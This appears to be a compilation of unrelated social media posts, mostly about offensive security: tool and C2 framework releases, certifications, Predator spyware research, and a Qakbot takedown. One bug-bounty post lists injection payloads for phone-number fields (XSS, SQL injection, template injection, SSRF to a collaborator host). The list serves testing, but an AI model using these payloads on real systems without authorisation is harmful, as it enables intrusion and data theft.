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I released a tool: r3con1z3r #r3con1z3r is a powerful reconnaissance / information gathering tools github.com/abdulgaphy/r3c… #r3con1z3r #OSINT #infosec #bugbounty #opensource #Web

Soon == 4 years I am delighted to announce that I have become a Google Developer Expert for Google Cloud. I am genuinely excited about the awesome community contributions that I will be making in the future 😁.

Guess what just arrived in the mail.. The API Security Certified Professional coin and certificate!!. So prettyyyy, thank you @apisecu @hAPI_hacker @sisinerd ✨ #apisec #apisecurity

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Who from my friends is in cybersecurity / pentesting in Lebanon?

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I’m happy to share that I’m starting a new position as Co-Founder and CTO at DarkEntry! Checkout our services & Request #Free #demo at: darkentry.net

Red teamers: Early on in my offensive security career, I relied heavily on popular C2 frameworks like Metasploit, PowerShell Empire, Cobalt Strike, etc. during my engagements. I’m sure this is probably fairly common for many of us in this space. However, somewhere along the way, it began to bother me that I didn’t really understand how C2 frameworks worked “under the hood”. So, I set out to address that. For better or worse, I decided that the solution to the problem was to write my own (very basic) C2 framework. I didn’t do this because I felt that the community needed yet another C2 framework (it doesn’t, and it definitely doesn’t need mine). I did it so that I could better understand key, foundational C2 concepts and improve my own personal red team tradecraft. The process of designing and coding a simple C2 framework actually helped me more than I had planned, and I wish I had done it sooner. Takeaway: if you are in the offensive security space and using OSTs created by others, I would highly encourage you to carve out time to learn how these tools work under the hood. I can promise you that you will learn a lot by doing this. If you want to check out my C2 framework or use it has a starting point for developing your own, please feel free. You can find the "Most Average C2 Ever" on GitHub, here: github.com/nickvangilder/…. If I can do it, you can do it. (And yes, I'm a terrible coder, but it works!)

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Who needs a 0-click when you have MITM? ✨ Working with @billmarczak & @citizenlab we discovered 3 iOS and 1 Chrome 0-day from Intellexa, used to install Predator spyware in Egypt 🇪🇬 blog.google/threat-analysi…

0-days exploited by #Predator spyware were delivered via man-in-the-middle (MITM) attack and 0-click vulnerability against #iOS and #Android In the video below, I demonstrated how an attacker - using just smartphone - can trigger DNS spoofing attack to redirect device on the same wi-fi network to attacker controlled website. Such domain could deliver phishing or 0-day as in the case of Predator's browser exploit blog.google/threat-analysi…

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I've made $500k+ from SSRF vulnerabilities. Here are my tricks:

Very happy to see the Qakbot malware knocked offline! Also happy to be able to assist the @FBI by making the data searchable in @haveibeenpwned, here's the full story: troyhunt.com/data-from-the-…

Payloads to try on phone number input fields by @securinti XSs +441134960000;phone-context= Parameter pollution (1) +441134960000;phone-context=&phone-context=+442.. Parameter pollution (2) +441134960000;ext=1;ext=? SQL injection +441134960000;phone-context=' OR 1=1; -- Template injection +441134960000;phone-context={{22}}[ [33]]{{77}}{% debug %} {77}{7*’7} SSRF +441134960000;phone-context=burocoaborator.net #BugBounty #bugbountytips #Payload

I am happy to share that I have successfully passed the OSCP exam with a score of 110/100 🤓 Kudos @offsectraining for the awesome learning platform and updates. #offensivesecurity #offsec #penetrationtesting #penetrationtester #offensivesecurity

4 Distinctions and 19 College Prizes later, including: ⁃Preclinicals ⁃Pathology ⁃O & G ⁃Paediatrics ⁃Surgery & ⁃Community Health Allow me to reintroduce myself, Dr. Muritala A.O MB;BS Hons (Ilorin) Best Graduating Student, Unilorin Medical Class of 2021.

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